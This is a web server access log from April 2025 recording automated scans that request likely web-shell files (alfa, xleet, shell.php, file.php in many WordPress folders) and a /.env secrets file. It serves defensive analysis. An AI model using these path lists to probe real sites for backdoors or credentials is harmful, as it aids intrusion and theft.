- [12/Apr/2025:06:58:36 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:06:58:38 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:06:58:57 -0400] "GET /.well-known/pki-validation/ibkejxnu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:07:00:11 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:07:00:31 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [12/Apr/2025:07:00:51 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 195.123.228.112 - - [12/Apr/2025:07:14:43 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 62.197.150.68 - - [12/Apr/2025:07:20:51 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 152.42.193.35 - - [12/Apr/2025:07:32:32 -0400] "GET /heh.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 152.42.193.35 - - [12/Apr/2025:07:32:57 -0400] "GET /wp-content/plugins/view-more/ioxi.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 152.42.193.35 - - [12/Apr/2025:07:33:41 -0400] "GET /wp-content/plugins/erinyani/baxa1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 13.90.231.193 - - [12/Apr/2025:07:40:59 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:00 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:00 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:00 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:00 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:01 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:01 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:01 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:01 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:02 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:02 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:02 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:02 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:03 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:03 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:03 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:03 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:04 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:04 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:04 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:04 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:04 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:05 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:05 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:05 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:05 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:05 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:06 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:06 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:06 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:07 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:07 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:07 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:08 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:08 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:08 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:08 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:09 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:09 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:09 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:09 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:10 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:10 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:10 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:10 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:10 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:11 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:11 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:11 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:12 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:12 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:12 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:12 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:12 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:13 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:13 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:13 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:13 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:13 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:14 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:14 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:14 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:14 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:14 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:15 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:15 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:15 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:15 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:15 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:16 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:16 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:16 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:16 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:16 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:17 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:17 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:17 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:17 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:17 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:18 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:18 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:18 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:18 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.90.231.193 - - [12/Apr/2025:07:41:18 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 43.153.49.151 - - [12/Apr/2025:07:50:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.79.99 - - [12/Apr/2025:07:54:03 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.99 - - [12/Apr/2025:07:54:03 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 51.161.107.25 - - [12/Apr/2025:07:57:29 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 51.161.107.25 - - [12/Apr/2025:07:57:41 -0400] "POST / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 52.184.191.88 - - [12/Apr/2025:08:00:04 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:04 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:05 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:05 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:06 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:06 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:06 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:07 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:07 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:07 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:08 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:08 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:08 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:09 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:10 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:12 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:12 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:13 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:13 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:13 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:14 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:14 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:14 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:15 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:15 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:15 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:16 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:16 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:17 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:18 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:18 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:19 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:19 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:19 -0400] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:20 -0400] "GET /xmlrpc.php0 HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:20 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:21 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:21 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:21 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:22 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:24 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:26 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:27 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:27 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:30 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:32 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:33 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:34 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:35 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:36 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:36 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:36 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:37 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:38 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:38 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:38 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:39 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:40 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:40 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:41 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:41 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:41 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:42 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 52.184.191.88 - - [12/Apr/2025:08:00:42 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:30 -0400] "GET /wp-content/plugins/ojyiyys/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:31 -0400] "GET /wp-includes/languages/wp/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:31 -0400] "GET /wp-includes/blocks/social-links/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:32 -0400] "GET /upload/2021_02_08/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:33 -0400] "GET /wp-content/plugins/simple/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:33 -0400] "GET /Text/Diff/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:33 -0400] "GET /wp-includes/konten/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:34 -0400] "GET /wp-content/plugins/idjnpjx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:34 -0400] "GET /classwithtostring.php/rbzccnnp.php/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:34 -0400] "GET /wp-content/themes/twentytwentytwo/inc/patterns/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:34 -0400] "GET /wp-includes/js/tinymce/plugins/directionality/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:35 -0400] "GET /wp-content/themes/alera/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:35 -0400] "GET /admin/upload/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:36 -0400] "GET /wp-content/themes/twentytwentythree/patterns/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:36 -0400] "GET /wp-content/plugins/core/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:37 -0400] "GET /wp-content/plugins/ImageManager/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:37 -0400] "GET /wp-includes/blocks/pattern/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:37 -0400] "GET /alfacgiapi/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:38 -0400] "GET /assets/css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:38 -0400] "GET /site/wp-content/plugins/hmdqckh/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:39 -0400] "GET /wp-content/uploads/2018/03/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:40 -0400] "GET /wp-content/plugins/wp-mail-smtp/src/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:41 -0400] "GET /wp-content/themes/pridmag/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:42 -0400] "GET /assets/vendor/codemirror/mode/ecl/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:42 -0400] "GET /libraries/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:42 -0400] "GET /wp-content/themes/sky-pro/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:43 -0400] "GET /plugins/three-column-screen-layout/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:44 -0400] "GET /wp-content/banners/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:44 -0400] "GET /wp-content/plugins/aezvzos/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:45 -0400] "GET /wp-content/plugins/fix/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:45 -0400] "GET /wp-includes/blocks/site-logo/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:45 -0400] "GET /wp-content/plugins/revslider/includes/external/page/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:46 -0400] "GET /wp-includes/gCdfg/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:46 -0400] "GET /wp/wp-content/plugins/w695elkq/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:46 -0400] "GET /wp-includes/Text/Diff/Renderer/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:46 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:47 -0400] "GET /wp-content/themes/kzdx3sro/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:47 -0400] "GET /wp-content/plugins/akbifoe/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:47 -0400] "GET /bitrix/js/seo/ads/client_selector/lang/ru/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:48 -0400] "GET /wp-content/uploads/2023/05/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:48 -0400] "GET /wp-content/themes/ccx/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:49 -0400] "GET /cgi-bin/cgi-bin/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:49 -0400] "GET /wp-includes/js/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:50 -0400] "GET /wp-content/plugins/insert-headers-and-footers/languages/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:50 -0400] "GET /wp-admin/css/colors/blue/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:50 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:51 -0400] "GET /upload/files/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:51 -0400] "GET /css/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:51 -0400] "GET /wp-content/themes/astra/inc/metabox/extend-metabox/css/minified/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:52 -0400] "GET /wp-content/plugins/thrive-visual-editor/inc/backbone/controls/lead-generation/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:52 -0400] "GET /.well-known/acme-challenge/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:52 -0400] "GET /blog/wp-content/plugins/ubh/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:53 -0400] "GET /wp-includes/sodium_compat/namespaced/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:53 -0400] "GET /wp-content/plugins/widget-logic/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:54 -0400] "GET /wp-includes/Requests/Response/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:54 -0400] "GET //wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:55 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - - [12/Apr/2025:08:19:55 -0400] "GET /wp-content/plugins/yyobang/file.php HTTP/1.1" 301 795 "-" "-" 13.68.216.178 - 